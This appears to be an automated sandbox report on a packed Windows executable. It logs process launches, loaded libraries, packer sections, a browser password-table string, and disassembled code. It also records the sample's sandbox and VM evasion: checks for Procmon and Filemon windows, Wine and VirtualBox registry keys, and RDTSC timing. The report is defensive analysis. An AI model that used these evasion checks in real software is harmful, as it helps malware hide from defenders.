Source: file.exe, 00000000.00000003.2163716231.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2164036579.000000000538D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2188088407.000000000539E000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=1884,i,17699298288420818842,9296858339139321116,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1992 --field-trial-handle=1848,i,12859633962272970777,3292351338685912697,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=1884,i,17699298288420818842,9296858339139321116,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1992 --field-trial-handle=1848,i,12859633962272970777,3292351338685912697,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1864192 > 1048576

Source: file.exe

Static PE information: Raw size of bioduybg is bigger than: 0x100000 < 0x19dc00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.cb0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;bioduybg:EW;eaqvzvci:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;bioduybg:EW;eaqvzvci:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c9b3a should be: 0x1c9ff1

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: bioduybg
Source: file.exe	Static PE information: section name: eaqvzvci
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BCE886 push edi; mov dword ptr [esp], 2ED07954h	0_2_05BCE820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BCE886 push edi; mov dword ptr [esp], eax	0_2_05BCEE07
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BCE886 push edx; mov dword ptr [esp], ebx	0_2_05BCEE13
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BCE886 push eax; mov dword ptr [esp], 7B0CE75Ah	0_2_05BCF2C5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BCE886 push ecx; mov dword ptr [esp], esi	0_2_05BCF407
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BD0DB4 push 7623F40Eh; mov dword ptr [esp], eax	0_2_05BD0DD3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BD0DB4 push edi; mov dword ptr [esp], ecx	0_2_05BD1A80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BD0DB4 push ecx; mov dword ptr [esp], 648CA65Eh	0_2_05BD1BFF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BD05AD push 07C1B0A2h; mov dword ptr [esp], eax	0_2_05BD05B3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BD0D99 push 1435783Dh; mov dword ptr [esp], ebp	0_2_05BD2997
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BD25EC push 3AD5CBC5h; mov dword ptr [esp], eax	0_2_05BD25F4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BCE5CF push eax; mov dword ptr [esp], 7B0CE75Ah	0_2_05BCF2C5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BCD5C6 push esi; mov dword ptr [esp], edx	0_2_05BCD5C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BD1DC6 push edx; mov dword ptr [esp], esp	0_2_05BD1DC7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BEED3B push 28EF3B9Fh; mov dword ptr [esp], ecx	0_2_05BEF1FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BEED3B push edi; mov dword ptr [esp], 5FF340CBh	0_2_05BEF214
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BEED3B push 283197ACh; mov dword ptr [esp], edi	0_2_05BEF282
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BEED3B push ebx; mov dword ptr [esp], edi	0_2_05BEF328
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BEED3B push 225CC860h; mov dword ptr [esp], edx	0_2_05BEF347
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BEED3B push esi; mov dword ptr [esp], edi	0_2_05BEF3F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BEED3B push ebx; mov dword ptr [esp], edi	0_2_05BEF418
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BD0533 push ecx; mov dword ptr [esp], esi	0_2_05BD0AAF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BCE52B push 6426AD71h; mov dword ptr [esp], ecx	0_2_05BCF59A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BD3D1D push 3217F8F1h; mov dword ptr [esp], edx	0_2_05BD514D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BCCD1E push 506DA227h; mov dword ptr [esp], esi	0_2_05BCCD2A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BD0515 push eax; mov dword ptr [esp], ebx	0_2_05BD475C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BD3516 push edx; mov dword ptr [esp], eax	0_2_05BD3517
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BD3516 push 575B3024h; mov dword ptr [esp], edi	0_2_05BD351F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BF8504 push 3FAE0E39h; mov dword ptr [esp], edi	0_2_05BF885C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BF8504 push 15BE6B60h; mov dword ptr [esp], ebx	0_2_05BF8917
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BF8504 push 0F496FB5h; mov dword ptr [esp], edx	0_2_05BF89A9

Source: file.exe	Static PE information: section name: entropy: 7.969899728729919
Source: file.exe	Static PE information: section name: bioduybg entropy: 7.952935716114438

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88863 second address: E88879 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CAC0h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88879 second address: E88883 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEA44C7ED4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E877F8 second address: E8780B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FEA44C4CABDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8780B second address: E87846 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FEA44C7ED4Fh 0x00000008 jmp 00007FEA44C7ED57h 0x0000000d pop ecx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jnp 00007FEA44C7ED46h 0x00000019 jp 00007FEA44C7ED46h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E879B6 second address: E879D4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FEA44C4CAC3h 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E879D4 second address: E879F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FEA44C7ED46h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jl 00007FEA44C7ED52h 0x00000014 jl 00007FEA44C7ED46h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E879F0 second address: E879F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E879F7 second address: E87A06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007FEA44C7ED46h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E87D11 second address: E87D17 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E880BB second address: E880C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E880C1 second address: E880CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B36F second address: D0ABCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jmp 00007FEA44C7ED55h 0x00000011 pop eax 0x00000012 movsx edx, si 0x00000015 push dword ptr [ebp+122D09DDh] 0x0000001b mov dword ptr [ebp+122D1A22h], edx 0x00000021 call dword ptr [ebp+122D1F2Bh] 0x00000027 pushad 0x00000028 add dword ptr [ebp+122D372Ah], edi 0x0000002e xor eax, eax 0x00000030 stc 0x00000031 mov edx, dword ptr [esp+28h] 0x00000035 jmp 00007FEA44C7ED51h 0x0000003a mov dword ptr [ebp+122D2AC3h], eax 0x00000040 mov dword ptr [ebp+122D372Ah], esi 0x00000046 mov esi, 0000003Ch 0x0000004b pushad 0x0000004c mov dword ptr [ebp+122D344Ch], ebx 0x00000052 mov si, cx 0x00000055 popad 0x00000056 add esi, dword ptr [esp+24h] 0x0000005a clc 0x0000005b lodsw 0x0000005d jp 00007FEA44C7ED47h 0x00000063 add eax, dword ptr [esp+24h] 0x00000067 pushad 0x00000068 jmp 00007FEA44C7ED4Ah 0x0000006d popad 0x0000006e mov ebx, dword ptr [esp+24h] 0x00000072 stc 0x00000073 push eax 0x00000074 push edi 0x00000075 push eax 0x00000076 push edx 0x00000077 jmp 00007FEA44C7ED57h 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B3DE second address: E8B3E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B3E2 second address: E8B3E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B3E8 second address: E8B421 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FEA44C4CAB8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b jmp 00007FEA44C4CAC2h 0x00000010 push 00000000h 0x00000012 mov dword ptr [ebp+122D25F3h], eax 0x00000018 push A557A0FBh 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FEA44C4CABBh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B421 second address: E8B428 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B428 second address: E8B4D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 5AA85F85h 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007FEA44C4CAB8h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 jmp 00007FEA44C4CABAh 0x0000002d push 00000003h 0x0000002f adc ch, FFFFFFCEh 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push edx 0x00000037 call 00007FEA44C4CAB8h 0x0000003c pop edx 0x0000003d mov dword ptr [esp+04h], edx 0x00000041 add dword ptr [esp+04h], 00000014h 0x00000049 inc edx 0x0000004a push edx 0x0000004b ret 0x0000004c pop edx 0x0000004d ret 0x0000004e push 00000003h 0x00000050 pushad 0x00000051 xor si, F463h 0x00000056 popad 0x00000057 call 00007FEA44C4CAB9h 0x0000005c push eax 0x0000005d jmp 00007FEA44C4CAC9h 0x00000062 pop eax 0x00000063 push eax 0x00000064 jmp 00007FEA44C4CAC2h 0x00000069 mov eax, dword ptr [esp+04h] 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 jns 00007FEA44C4CAB6h 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B4D3 second address: E8B4E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c push edx 0x0000000d pop edx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B4E2 second address: E8B50D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEA44C4CAC6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jbe 00007FEA44C4CAB6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B50D second address: E8B511 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B511 second address: E8B520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jp 00007FEA44C4CAB6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
